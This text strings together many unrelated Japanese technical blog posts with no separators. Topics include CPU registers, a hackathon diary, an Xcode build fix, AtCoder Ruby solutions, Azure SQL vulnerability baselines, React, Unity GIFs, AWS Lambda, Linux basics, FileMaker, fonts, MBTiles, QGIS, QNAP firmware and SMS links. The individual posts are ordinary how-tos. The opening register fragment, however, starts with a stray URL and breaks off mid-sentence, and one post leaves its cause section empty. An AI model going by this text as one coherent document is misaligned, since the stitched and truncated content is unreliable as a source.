https://e-words.jp/w/%E3%82%B9%E3%83%86%E3%83%BC%E3%82%BF%E3%82%B9%E3%83%AC%E3%82%B8%E3%82%B9%E3%82%BF.html#:~:text=%E3%83%9E%E3%82%A4%E3%82%AF%E3%83%AD%E3%83%97%E3%83%AD%E3%82%BB%E3%83%83%E3%82%B5%EF%BC%88MPU/CPU%EF%BC%89%E5%86%85%E9%83%A8%E3%81%AE%E9%AB%98%E9%80%9F%E3%81%AA%E8%A8%98%E6%86%B6%E8%A3%85%E7%BD%AE%E3%81%A7%E3%81%82%E3%82%8B%E3%83%AC%E3%82%B8%E3%82%B9%E3%82%BF%E3%81%AE%E4%B8%80%E7%A8%AE%E3%81%A7%E3%80%81%E6%BC%94%E7%AE%97%E3%82%84%E5%87%A6%E7%90%86%E3%81%AE%E7%B5%90%E6%9E%9C%E3%81%AB%E3%82%88%E3%82%8A%E4%B8%80%E9%83%A8%E3%81%8C%E6%9B%B8%E3%81%8D%E6%8F%9B%E3%81%88%E3%82%89%E3%82%8C%E3%82%8B%E3%82%82%E3%81%AE%E3%80%82%E6%9D%A1%E4%BB%B6%E5%88%86%E5%B2%90%E5%91%BD%E4%BB%A4%E3%81%AA%E3%81%A9%E3%81%8C%E3%81%9D%E3%81%AE%E5%86%85%E5%AE%B9%E3%82%92%E8%AA%AD%E3%81%BF%E5%8F%96%E3%81%A3%E3%81%A6%E5%8B%95%E4%BD%9C%E3%81%AB%E5%8F%8D%E6%98%A0%E3%81%95%E3%81%9B%E3%82%8B%E3%80%82

# 命令レジスタ(IR)
```主記憶から読み出された命令が格納```される。この内容が命令デコーダ（命令解読器)

# プログラムレジスタ
```次に実行すべき命令のアドレスを記憶```する。プログラムカウンタ（PC)、命令アドレスレジスタ（IAR)、命令カウンタともいう。

# インデックス（指標レジスタ）
```命令の番地部（アドレス部）を修飾```する値が入る。

# 汎用レジスタ（GR)
計算用、アドレス修飾用など、```さまざまな用途```に使われる。

# 出典
https://gihyo.jp/book/2022/978-4-297-12375-8
開発経験0の大学生がハッカソンに参加してみて 5日目

# はじめに
今回、初めてハッカソンに参加することとなりました。
初めてかハッカソンで学べたことを共有していこうかと思います。
※Qiita投稿自体が初めてなので、温かい目で見ていただければ幸いです。

# ハッカソンとは
簡単に説明すると
#### 「複数人が短期間で一つのアプリケーションを開発するもの」
です。

# 今回の出されたお題
今回、私たちのグループは元となるチャットアプリを自分たちなりに改造して、提出するといったお題です。
私は、フロントエンドを担当することとなったので、仕様技術はHTML,CSS,JavaScript,Flask,jinja2となっております。
(まだ全然理解していませんが、、、)

# 今の課題点
・サンプルアプリのソースコードが何かいているのかわからない
・周りの人とコミュニケーションがとりにくい

# 最後に
箇条書きみたいにいろいろと書きましたが、
今後は自分が学べたことをアウトプットしていけたらいいかなと思います。

8月末までなので、ハッカソン頑張ります！！
Umbrella header for module 'GoogleUtilities' does not include header...の対処

# 問題発生要因
gitから過去のコードをビルドしようとしたとき表題のエラーが発生した。

# エラー内容
```shell
Umbrella header for module 'GoogleUtilities' does not include header 'GULNetworkInfo.h'
```

# 原因



# 解決方法
以下のコマンドを実行する
```shell
rm -rf ~/Library/Developer/Xcode/DerivedData/
pod deintegrate
pod update
```
RubyでAtCoder ABC235(A, B, C)を解いてみた

# はじめに
Webエンジニアを目指して、RubyやRailsをいじってます。
今回は、RubyでAtCoder ABC235のA, B, Cを解きました。備忘録として解き方をまとめていきたいと思います。

# A - Rotate
https://atcoder.jp/contests/abc235/tasks/abc235_a
```ruby:a-235.rb
a, b, c = gets.chomp.chars.map(&:to_i)
puts (a + b + c) * 111
```
## 解説
`abc + bca + cab = (100a + 10b + c) + (100b + 10c + a) + (100c + 10a + b) = 111(a + b + c)`から求めることができます。

# B - Climbing Takahashi
https://atcoder.jp/contests/abc235/tasks/abc235_b
```ruby:b-235.rb
gets
h = gets.split.map(&:to_i)
h << -1
h.each_cons(2){
  unless _1 < _2
    puts _1
    exit
  end
}
```
## 解説
答えが最後の要素となる場合においても処理が実行されるように末尾に`-1`を追加しておきます。そして、`each_cons`メソッドを使って隣り合う要素の大小を比較し、左側の要素が右側の要素以上である場合は左側の要素を出力してループを抜けるようにすることで答えを求めることができます。

# C - The Kth Time Query
https://atcoder.jp/contests/abc235/tasks/abc235_c
```ruby:c-235.rb
_, q = gets.split.map(&:to_i)
a = gets.split.map(&:to_i)
hash = Hash.new{ |h, k| h[k] = [] }
a.each.with_index(1){ hash[_1] << _2}

q.times do
  x, k = gets.split.map(&:to_i)
  puts hash[x][k - 1] || -1
end
```
## 解説
連想配列を用意し、そこにkeyを数、valueをaのインデックスとして保持させることで、数xがk回目に登場するのがAの先頭から何番目の要素を見たときかを求めることができます。

https://qiita.com/shoya15/items/50fd17e37d7c64f2b166
Microsoft Defender for Azure SQLで検知された脆弱性をエラーから除外する

Azure SQL DatabaseでMicrosoft Defender for Azure SQLを有効にした場合、定期的にスキャンが走り脆弱性の検査が走ります。
もちろん全て是正するのがよいですが、何らかの理由により脆弱性を許容せざるを得ない場面もあるかと思います。
その際にエラーとして検知されないようにする手順を残します。

# 脆弱なテスト環境を作る
* 今回テストとしてdb_owner権限を持ったユーザーを作成しました。
* そうするとVA1258が脆弱性として引っかかるようになりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180335/d2b48e93-e4e7-1351-5033-1462bb7c2352.png)

# ベースラインを追加する
* VA1258の項目を選択すると以下のような画面になるので、[すべての結果をベースラインとして追加]を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180335/0876736c-d58f-8ff2-1447-9b3216f27c15.png)

* [はい]を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180335/243ce316-bb94-903c-19cd-f4e1d42b7ac4.png)

# 再スキャン
* ベースラインに追加しただけではまだエラーとして表示されたままです。再度スキャンが走ったタイミングで除外されるため、手動でスキャンをかけます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180335/3ead7a75-0700-6835-0e99-64e2b5872917.png)

# 結果確認
* 再スキャンをかけると検出結果から除外されているのが分かります。
* ベースラインに追加した項目は[Pass Per Baseline]と記載されているため手動で除外したのかそうでないのか判断することができます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180335/b14eff98-88f9-5efd-eb0b-d8a7b86d10bb.png)

# ベースラインから削除する
* 再度エラーとして検知されるようにするには[ベースラインからすべて削除する]を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180335/dd08cec4-840e-1b85-a3ad-eb55bf3d5637.png)

以上です。
【React】一時的に表示されるテキスト

## 実装方法

以下のようにすることで一時的に表示されるテキストを実装できます。

```jsx
import { useState, useEffect } from "react";

export default function App() {
  const [isVisible, setIsVisible] = useState(false);

  const handleClick = () => {
    setIsVisible(true);
  };

  useEffect(() => {
    const timer = setTimeout(() => {
      setIsVisible(false);
    }, 3000);
    return () => {
      clearTimeout(timer);
    };
  }, [isVisible]);

  return (
    <div className="App">
      <button type="button" onClick={handleClick}>
        テキストを表示
      </button>
      {isVisible && <p>一時的に表示されるテキスト</p>}
    </div>
  );
}
```


## CodeSandbox
「テキストを表示」ボタンをクリックすると「一時的に表示されるテキスト」が3秒間表示されます。

https://codesandbox.io/embed/recursing-grothendieck-3pwy29?fontsize=14&hidenavigation=1&theme=dark
【Unity】GIF再生してみた

## この記事について
UnityではGIFをそのまま入れるだけでは再生されないようです。
この記事ではライブラリを使用してGIFを再生する方法を記載します

## 環境
Unity：2021.3.19f1
mgGIF：v1.1.0
## はじめに
ライブラリにもいろいろ種類があるようです
https://www.hanachiru-blog.com/entry/2023/03/09/120000
こちらのサイトでGIFを再生するライブラリ一覧を載せてくださっているので、自分に合うものを使用するのがいいと思います。

今回は **mgGIF** を使用したいと思います。
MITライセンスなので、「著作権表示」と「ライセンスの全文」をソースコードのなかや、同梱の別ファイルなどに掲載しておきましょう。
## 手順
1. Gitからファイルをダウンロード
https://github.com/gwaredd/mgGif
1. `AnimatedTexture.cs`と `AnimatedImage.cs` をUnityにインポート
1. Quadに`AnimatedTexture.cs`をアタッチする
1. InspectorのFilenameに、使用したいGIFの名前を入力する
1. Assets/StreamingAssetsに、使用したいGIFを入れておく
1. 再生


### QuadではなくImageでGIFを再生する方法
[こちら](https://www.hanachiru-blog.com/entry/2023/02/16/120000) のサイトに記載してくださっていました

 Imageに、`AnimatedTexture.cs`の代わりに下記のスクリプトをアタッチすればいいそうです
```C#
using System.Collections.Generic;
using System.IO;
using UnityEngine;
using UnityEngine.UI;

[RequireComponent(typeof(Image))]
public class AnimatedImage : MonoBehaviour
{
    [SerializeField, Header("Relative path from StreamingAssets folder")] private string filePath;
        
    private Image _image;

    private readonly List<Sprite> _frames     = new List<Sprite>();
    private readonly List<float>  _frameDelay = new List<float>();

    private int _currentFrame = 0;
    private float _time = 0.0f;
        
    private void Start()
    {
        if (string.IsNullOrWhiteSpace(filePath)) return;
        _image = GetComponent<Image>();

        var path = Path.Combine(Application.streamingAssetsPath, filePath);

        using( var decoder = new MG.GIF.Decoder( File.ReadAllBytes( path )))
        {
            var img = decoder.NextImage();

            while( img != null )
            {
                _frames.Add( Texture2DtoSprite(img.CreateTexture()));
                _frameDelay.Add(img.Delay/1000.0f);
                img = decoder.NextImage();
            }
        }

        _image.sprite = _frames[0];
    }

    private void Update()
    {
        if (_frames == null) return;

        _time += Time.deltaTime;

        if( _time >= _frameDelay[ _currentFrame ] )
        {
            _currentFrame = ( _currentFrame + 1 ) % _frames.Count;
            _time = 0.0f;

            _image.sprite = _frames[_currentFrame];
        }
    }

    private static Sprite Texture2DtoSprite(Texture2D tex)
        => Sprite.Create(tex, new Rect(0, 0, tex.width, tex.height), Vector2.zero);
}
```
## 参考資料
https://develop.hateblo.jp/entry/unity-gif-anime

https://baba-s.hatenablog.com/entry/2022/05/10/090000

https://www.hanachiru-blog.com/entry/2023/02/16/120000
lambda 関数Aでerrorという文字列がログに出た時、関数BをCloudWatchのサブスクリプションフィルターで実行する

# 概要

- 関数Aで`error`という文字列がログに出力されたら、関数BをCloudWatchのサブスクリプションフィルターを用いて実行する方法を簡単にまとめる。

# 方法

- 関数Aと関数Bは下記記事で使用した関数A（echo-error）と関数B（hello-world）を使用する。関数Aに若干の修正を加える。関数AのIAMロールに付与したカスタマーポリシーなどはそのままにしてある。

https://qiita.com/miriwo/items/5b835d98a4e9e3d04af4

- 関数A（echo-error）を下記の様に修正する。（9行目をコメントアウトするだけ）

    ```js
    import { LambdaClient, InvokeCommand } from '@aws-sdk/client-lambda';
    
    const lambdaClient = new LambdaClient({ region: 'ap-northeast-1' }); // 適切なリージョンを設定
    
    export async function handler(event) {
      try {
        // 何らかの処理
        console.log('error');
    //    await invokeFunctionB(); // 本当は例外のときに関数Bを呼び出すけど、動作確認のために常に呼び出す
      } catch (error) {
        console.error('error');
        // 関数Bを呼び出す
        await invokeFunctionB();
      }
    }
    
    async function invokeFunctionB() {
      const params = {
        FunctionName: '関数BのARN名',
        InvocationType: 'Event', // 非同期呼び出し
        Payload: JSON.stringify({}), // 関数Bに渡す引数を設定する事もできる
      };
    
      try {
        const command = new InvokeCommand(params);
        const response = await lambdaClient.send(command);
        console.log('Function B invoked:', response);
      } catch (error) {
        console.error('Error invoking Function B:', error);
      }
    }
    ```

- 一旦、関数Aを実行して、関数Bが実行されないことを確認する。
- CloudWatchで関数Aのロググループを表示する。
- 「サブスクリプションフィルター」を開く。

    ![CloudWatch_Management_Console.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/af8102d9-7dd4-48ea-6edc-50754648be7f.png)

- 「作成」をクリックし「Lambda サブスクリプションフィルター」をクリックする。
- 下記のようにサブスクリプションフィルターを設定する　。
    - Lambda関数：関数B（hello-world）
    - ログ形式：その他
    - サブスクリプションフィルターのパターン：`error`
    - サブスクリプションフィルター名：`error-chatch-subscription-filter`
- サブスクリプションフィルターを作成する　。
- 関数Aを実行するとサブスクリプションフィルターを通じて関数Bが実行されるようになる。
Linuxの基礎知識

# はじめに
2023年7月からLinuxの学習を初めました。筆者はC言語とC++の基礎知識以外は何も知らないので、アウトプットをしようと思い、重要だと思うことをまとめてみました。

# 参考書籍
[新しいLinuxの教科書](https://www.amazon.co.jp/%E6%96%B0%E3%81%97%E3%81%84Linux%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8-%E4%B8%89%E5%AE%85-%E8%8B%B1%E6%98%8E/dp/4797380942/ref=sr_1_1?adgrpid=117229375656&hvadid=655144332605&hvdev=c&hvqmt=e&hvtargid=kwd-1152146940662&hydadcr=21814_13461165&jp-ad-ap=0&keywords=%E6%96%B0%E3%81%97%E3%81%84linux%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8&qid=1688619372&sr=8-1)

# 動作環境
+ Windows11
+ Oracle VM VirtualBox
+ CensOS 7

# Linuxとは
+ 本来、「Linux」という言葉は「[Linuxカーネル][語句補足]」を指す。
+ Linuxカーネルと基本的なコマンド群やアプリケーションを組み合わせてパッケージングしたものを「Linuxディストリビューション」という。

# [GUI][語句補足]ではなく[CLI][語句補足]を使用する理由

#### 1.作業効率の向上
数百、数千のファイル操作を行う場合を考える。
GUIではクリックと移動を何千回と繰り返さなければならない。また見落としなどの人為的なミスが起きる可能性もある。
一方、CLIだと数行のコマンドで行うことができる。

#### 2.CLIの知識は腐りにくい
GUIの進化はとても早く、数年も経てばインターフェースは変化する。これはLinuxに限らず、他のOSでもよく起きている。
また、Linuxにおける内部処理はCLIによって行われている。なので**Linuxの本質であり、基礎でもあるCLI**を学習するべきである。

#### 3. プログラムの連携が容易
GUIではプログラム間での入出力の連携が苦手である。
CLIはこの点が非常に優れている。
また、連携が容易なため、複数のコマンドを組み合わせて自分専用のコマンドを作れる。

# コマンド

+ **コマンド**は使用することで何らかの処理が行える。
+ Linuxでは何百個ものコマンドが存在する。
+ 複雑な処理を行う場合は複数のコマンドを組み合わせることで処理する。

### 使用例
#### 日時を扱うコマンド'date'を実行
```
$ date
2023年 7月 6日 木曜日 14:18:10 JST
```

# シェル
+ **シェル**とは[Linuxカーネル][語句補足]のインタフェースとなっているソフトウェアのことである。
+ Linuxを操作する際には基本的にシェルを通して行う。
+ Linuxには様々な種類が存在する。その中でもログイン時に最初に起動されるシェルを**ログインシェル**という。デフォルトでは**bash**というシェルが採用されている。



## 語句補足
<dl>

<dt>Linuxカーネル</dt>
<dd>
OSの中核となる部分。コンピュータのハードウェア制御を行うソフトウェアを指す。直接人間が操作することはできない。
</dd>

<dt>グラフィカルインタフェース(GUI)</dt>
<dd>
現在の一般的なOS(WindowsやMac OS Xなど)に採用されているインタフェース。
ポインティングデバイス(マウスやタッチパッドなど)で画面上のメニューやアイコンをクリックして操作する。
</dd>

<dt>コマンドラインインタフェース(CLI)</dt>
<dd>
キーボードからコマンドなどを入力し、文字列として結果を出力するインタフェース。
</dd>

<dt>インタフェース</dt>
<dd>
機器やソフトウェア、利用者などが互いに繋がりを持ち情報を伝達する端点のこと。
様々な種類が存在し、GUIとCLIは機器と利用者の間で情報伝達を行う「ユーザインタフェース(UI)」に分類される。
</dd>

<dl>

# 終わりに
次はコマンドラインについてまとめたいと思う。

[**次回**](https://qiita.com/sumisumi2000/items/49d967ba1626348f4088)


何かご指摘がありましたら、コメントしていただけると幸いです。
最後までお読みいただきありがとうございました！

[語句補足]: #語句補足
Filemaker　全レコード　１つのフィールドに一括インポートする方法

ファイル＞レコードのインポート＞ファイル
インポートしたいデータ選択
ターゲットフィールドを一つに
ソースファイルの区切り文字、その他、空欄にして何も書かない（全角スペースキー）

![タイトルなし3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2628314/c6de6826-7fa1-da94-63a5-0236aa5cad02.png)

以上
デザイナー厳選！おすすめ最新フリーフォント3選【2023年版】

## はじめに

こんにちは。MIERUNEでデザイナーをやっております加藤です。
みなさん、フォント使ってますか？

パソコンに内蔵されているフォントでも十分といえばそれまでなのですが、
どうせならもっとこだわりたい！　でもどれを使えばいいかわからない…
という方のために、おすすめ最新フリーフォントを厳選しました！


## LINE Seed

![aaaa.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2705702/0b6167e4-1508-98be-816a-8b111b14a602.png)

https://seed.line.me/index_jp.html

LINEとFontworks社などが共同開発したコーポレートフォントです。
シンプル＆モダンでありつつ、角をやや丸く処理しているなど
堅実でありつつ、柔らかさもある「剛柔兼ね備えた」書体と言えるでしょう。

視認性もとても良いので、特にスライドなどで効果を発揮できそうです。

やや気になる点としては、太さのバリエーションが 
Thin, Regular, Bold, ExtraBold の4種類ということ。
RegularとBoldの間の太さ（Medium）があると
さらに使い所が広がりそう。今後の展開に期待です。

:::note info
おすすめポイント
シンプル＆モダンで使いやすい
:::

:::note warn
気になるポイント
太さのバリエーションがやや少ない
:::


## IBM Plex

![bbbbb.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2705702/21e95671-5ff8-5db7-d73c-ec18ab8b349a.png)

https://www.ibm.com/blogs/think/jp-ja/how-ibm-plex-an-opensource-font-was-born/

続いてもコーポレートフォントで、IBMが開発したフォントです。
こちらはなんとオープンソース化されており、GitHubで公開されています。

モダンなフォントで太さはなんと8種類もあり、
スライドや文章など幅広いシーンで使用できそうです。

またこの書体の大きな特徴とも言えるのが、インキトラップと言われる
印刷時に文字の「にじみ」を防ぐために施された文字の加工を
デザインに取り入れていることです。

https://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%82%AD%E3%83%88%E3%83%A9%E3%83%83%E3%83%97

この特徴は特色でもありクセでもあるので、好き嫌いが分かれるかもしれません。

:::note info
おすすめポイント
太さのバリエーションが豊富で使いやすい
:::

:::note warn
気になるポイント
デザインに少しクセがある
:::

## ZEN丸ゴシック

![cccc.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2705702/dfdff656-fddf-9bac-d435-419e6a873288.png)

https://fonts.google.com/specimen/Zen+Maru+Gothic

最後に丸ゴシックの紹介をします。
書体デザイナー・大平善道さんが開発されたフォントです。
丸ゴシックはどうしても安っぽいイメージになりがちですが、
このフォントは、柔らかな雰囲気を保ちながら品性を感じられる名作（だと個人的には思っています）。

Macには筑紫丸ゴシックが標準搭載されており、そちらの書体も名作なのですが
ぜひ「ZEN丸ゴシック」もダウンロードしていただきたいです。

丸ゴシックということで使い所はある程度限られてしまうかもしれませんが、
プレゼンのスライドや、柔らかめの内容を伝えるときに重宝できそうです。

:::note info
おすすめポイント
柔らかでありながら、品性のあるフォルム
:::

:::note warn
気になるポイント
かっちりしたところでは使いづらいかも
:::

## まとめ
いかがだったでしょうか？

今回紹介したもの以外にも、無料・有料のものを含めて
膨大な種類のフォントが存在します。

ぜひ資料に合ったフォントや、自分のお気に入りのフォントを探してみてください！

**無料フォントを探すなら Google Fonts**（今回紹介したフォントもDLできます）

https://fonts.google.com/

**Adobeを契約しているならAdobe Fontsもオススメ**

https://fonts.adobe.com/
lambda 関数Aで例外が発生した場合、関数BをAWS SDKで実行する

# 概要

- lambda関数A（echo-error）のログに「error」という文字列が出力されたことをきっかけに、lambda関数B（hello-world）を実行する方法を簡単にまとめる。
- 両lambda関数のランタイムはNode.js18とする。

# 方法

1. 関数A（echo-error）の作成
    1. 下記の内容で関数を作成する。
        - 関数名： echo-error
        - ランタイム： Node.js 18.x
        - アーキテクチャ： x86_64
        - ロール： 「基本的なLambdaアクセス権限で新しいロールを作成」


    1. 下記のコードを記載する。

        ```js
        import { LambdaClient, InvokeCommand } from '@aws-sdk/client-lambda';
        
        const lambdaClient = new LambdaClient({ region: 'ap-northeast-1' }); // 適切なリージョンを設定
        
        export async function handler(event) {
          try {
            // 何らかの処理
            console.log('error');
            await invokeFunctionB(); // 本当は例外のときに関数Bを呼び出すけど、動作確認のために常に呼び出す
          } catch (error) {
            console.error('error');
            // 関数Bを呼び出す
            await invokeFunctionB();
          }
        }
        
        async function invokeFunctionB() {
          const params = {
            FunctionName: '関数BのARN名',
            InvocationType: 'Event', // 非同期呼び出し
            Payload: JSON.stringify({}), // 関数Bに渡す引数を設定する事もできる
          };
        
          try {
            const command = new InvokeCommand(params);
            const response = await lambdaClient.send(command);
            console.log('Function B invoked:', response);
          } catch (error) {
            console.error('Error invoking Function B:', error);
          }
        }
        ```

1. 関数B（hello-world）の作成
    1. 下記の内容で関数を作成する。
        - 関数名： hello-world
        - ランタイム： Node.js 18.x
        - アーキテクチャ： x86_64
        - ロール： 「基本的なLambdaアクセス権限で新しいロールを作成」

    1. 下記のコードを記載する。

        ```js
        export const handler = async(event) => {
            console.log('hello-world');
            // TODO implement
            const response = {
                statusCode: 200,
                body: JSON.stringify('Hello from Lambda!'),
            };
            return response;
        };
        ```

    1. 「hello-worldテスト」などを作成し、デプロイ後、テストして「hello-world」の文字列が出力されることを確認する。
1. 関数AのIAMロールに権限追加
    1. 関数Aの画面を開く。
    1. 「設定」のタブをクリックする。
    1. 「アクセス権限」を開く。
    1. ロール名がリンクになっているのでクリックする。
    1. 「許可を追加」をクリックし、「インラインポリシーを作成」をクリックする。
    1. JSONで下記の内容を記載する。

        ```json
        {
          "Version": "2012-10-17",
          "Statement": [
            {
              "Effect": "Allow",
              "Action": "lambda:InvokeFunction",
              "Resource": "関数BのARNの値"
            }
          ]
        }
        ```

    1. ポリシー名を「InvokeHelloWorldFuncion」とする。

# 実行

1. 関数Aを実行すると関数Bも実行される。


# 参考文献

https://docs.aws.amazon.com/AWSJavaScriptSDK/v3/latest/clients/client-lambda/
MBTiles制作時のはまりポイントについてのメモ

2年連続でほぼ同じポイントでハマったんで、３年目の俺がまた同じはまりポイントでググった時にこの記事に当たることを願って、２年間はまりポイントと奮闘した記録を残しておきます。

使ったツール：
[MBUtil](https://github.com/mapbox/mbutil)

### 前提
MBTilesファイルの中身はSQlite 3のデータベースです。
デバッグと言ってもデータベースに漏れている項目を無理やりSQLで入れるのがメインです。

### メタデータが記載されていない
MBTilesを生成する時には生成するディレクトリーにメタデータになるJSONファイルを残す必要があります。

メタデータを記載したJSONファイルがなくてもMBTilesが生成されますが、MapTiler ServerやFMEとかで中身を確認する時にはメタデータがないと怒られます。

メタデータを記載したJSONを書いてMBTilesを再生成してもいいですが、またMBTilesを生成しようとするととてつもなく時間（3日程度）がかかるんで、直接SQLiteでデータベースの中に入ってmetadataのテーブルを入れたほうが手間も時間もかからないんで、そのような方法でデバッグします。

まずはSQLiteでmbtilesファイルの中身を確認します。

そして、`.table`で中身に入っているテーブル一覧を確認します。

metadataが入っていないってことは、メタデータを作成されていないということになるんで、それを入れていきます。

```
CREATE TABLE metadata (name text, value text);
```

これでメタデータのテーブルが作成されます。

`name`と`format`が設定されていないといけないようなので、その二つの情報をSQLでメタデータに追加していきます。

```
INSERT INTO metadata VALUES ('name','テスト地図');
```
```
INSERT INTO metadata VALUES ('format', 'png');
```

### Boundsが設定されていない問題
MBTilesファイルのメタデータ内のBoundsというアトリビュートが設定されていないとMapTiler Serverで使えないです。

なので、Boundsを設定していって、MBTilesのファイルを使えるようにします。

まずは、さっきと同じようにSQlite 3でMBTilesのデータベースを開きます。

そして、SQLのコマンドでBoundsの数値をメタデータのテーブルに追加していきます。

```
INSERT INTO metadata VALUES ('bounds', '-180.0,-85,180,85');
```

これではまりポイントが全て解消されたはずです。

参考資料：
https://github.com/mapbox/mbtiles-spec/blob/master/1.3/spec.md
QGISで横断線をサクッと作成する

# はじめに
QGISを使用していると、作成したラインデータから等間隔の横断線を作成したい・・・ということが良くあります。

今回は、以下の記事を参考に横断線を作成してみました。
https://geoobserver.wordpress.com/2023/03/27/qgis-tipp-flussbreiten-ermitteln-aber-wie/

なお、説明図の背景地図として[地理院タイル](https://maps.gsi.go.jp/development/ichiran.html)を加工して利用しています。

# 作成手順
## フロー図
```mermaid
graph TB
  A[/ラインデータ/] --> B["（プロセシング）ジオメトリに沿った等間隔点群"] --> C["（プロセシング）式によるジオメトリ"]
```
## やりかた
### ラインデータの準備
まずは横断線を作成するためのラインデータを作成(またはダウンロード）します。
今回は1本だけ河川に沿って作成しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584199/9b03d4ed-3528-6723-4574-1a1bdc1946a1.png)


## ライン沿いに等間隔のポイントを作成する
プロセシング「ジオメトリに沿った等間隔点群」で横断線を作成するのに必要なポイントデータを作成します。　　
今回は500m間隔で横断線を作成したいので、パラメータ「距離」に`500`を指定します。
![スクリーンショット 2023-06-21 17.34.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584199/be760a68-4896-185e-4061-46551843a460.png)

等間隔にポイントを作成することができます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584199/36eecb97-864d-7a22-684d-21858b30b9b9.png)

### 横断線を作成する
作成したポイントを使って横断線を作成します。　　
プロセシング「式によるジオメトリ」に以下の式を記載することで、横断線がサクッと作成できます。
今回はポイントから左右に800m延伸した横断線を作成したいので、`800`という数字を使用しています。
`90`という数字は、ポイントの向きから垂直方向に向けてラインを作成する・・・ということを意味しています。

```sql:ジオメトリの式
extend(
   make_line(
      $geometry,
       project (
          $geometry, 
          800, 
          radians("angle"-90))
        ),
   800,
   0
)
```

![スクリーンショット 2023-06-21 17.53.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584199/d2e8f2d1-602f-be41-e264-f9c5ed43ccf7.png)


プロセシングを走らせると、簡単に横断線を作成することができました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584199/0abc4696-6b3e-7189-6062-3cce7e8e6737.png)

作成した横断線は断面図の作成に利用するなど、色々と活用することができます。

# おまけ
ポイント（ラインから等間隔に作成したデータ）のスタイル設定を変えるだけで、横断線を**見かけ上**作成できます。

レイヤのシンボロジは以下の手順で変更します。

 - ポイントのシンボルレイヤ型を`ジオメトリジェネレータ`に設定する
 - ジオメトリ型は`ラインストリング/マルチラインストリング`にする
 - プロセシング「式によるジオメトリ」で使用した式を「式ダイアログ」に入力する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584199/0eea9f19-24a6-e4c4-170e-dc09008f4906.png)

こうすることで、角度や横断線の長さを変更した時、リアルタイムで地図に反映することができます。
便利ですね〜。
QNAP HS-251 NEW ファームウェア

251+のファームウェア利用可能
※メモリが足りない為251では更新終了

[Download items for HS-251+](https://www.qnap.com/en-us/download?model=hs-251%2B&category=firmware)

多少もっさりだが動く
かれこれ数か月動かしてるけど問題無し
最新ワードプレスを使える
Web サイトのリンクと QR Code で SMS を起動する際の問題点について

SMS を Web サイトのリンクと QR Code で起動する方法についてのまとめと、それに対する問題点を残す

# 結論
Web サイトの Link で SMS を起動する場合 Delimiter が異なることに注意する

* Android: `sms:<電話番号>?body=<URIエンコードされたメッセージ>`
* Android 以外: `sms:<電話番号>&body=<URIエンコードされたメッセージ>`

QR Code で SMS を起動する場合はエンコードしない

* QR Code: `smsto:<電話番号>:<メッセージ>`

ただし Android の端末デフォルトアプリである `スキャナー` で QR Code よ読み込む際は国番号(+81)が利用できない
そこに対応したい場合は `sms:` を利用することになるが　body に `:` があると正常にメッセージが展開されない可能性があることに注意が必要

# 検証に用いた情報

## 宛先
* 国番号有り: `+819000000000`
* 国番号無し: `09000000000`

## メッセージ

```
テストメッセージです
改行も入っています。
URL (https://localhost/testurl)
長文用パディング長文用パディング長文用パディング長文用パディング長文用パディング長文用パディング長文用パディング長文用パディング長文用パディング
```

# URI Scheme
SMS起動するURI Schemeとして下記の２つを試した
* `sms:`
* `smsto:`

# sms: の問題点

## body を指定するための　Delimiter が異なる

WebサイトのLinkとする場合にメッセージ付きの SMS の起動がそれぞれ下記で行えた。

* 　Mac/iPhone: `sms:<電話番号>&body=<URIエンコードされたメッセージ>`
* 　Android: `sms:<電話番号>?body=<URIエンコードされたメッセージ>`

つまり　Android　の　Delimiter　は `?` だが、それ以外では `&` となるため User-Agent 等で分岐する必要がある

## QR Code では指定できない場合がある

QR Code で `sms:` を指定したものを iPhone で読み込んだ場合に `:` が body に含まれる場合に正常にメッセージとして展開されない

![メッセージ展開エラー.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/357904/48d094da-aa68-419d-44d9-129b8c9f111f.png)

利用した QR Code は下記となる。(未検証だが Android 用も添付する)

iPhone 用
![iPhone用URL付きQR Code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/357904/80c5e354-2353-13e9-9d8d-5f28b2dbdaf5.png)

Android 用
![Android用URL付きQR Code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/357904/d8b6dbc2-c7ad-cc39-e7d6-177f067dbeda.png)

## smsto: の問題点

### HTML の a タグの href 属性で指定できない

Web サイトのリンクとして利用したい場合には通常 HTML の a タグの href 属性に指定するが Mac の Google Chrome と iPhone の Google Chrome の両方で起動することができないことを確認

![hrefでsmstoを指定できない.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/357904/5226bdba-b13b-049a-c27b-77d47099269a.png)


### 国番号を指定すると QR Code から開けない場合がある

Android のデフォルトアプリである `スキャナー` で読み込むと、国番号有りの宛先の場合にテキストとして読み込まれる問題がある
Googleレンズ等の別のアプリで読み込んだ場合は問題なく開けるため、スキャナーのバグ？のようなものなのでよほどのことがなければ気にする必要は無いかもしれない

国番号有りの宛先
![国番号有り.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/357904/bb0021c8-5d93-4c93-39da-2a99928c99c9.png)

国番号無しの宛先
![国番号無し.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/357904/c50169e6-6772-c526-ffd6-7eb6ffec35a8.png)
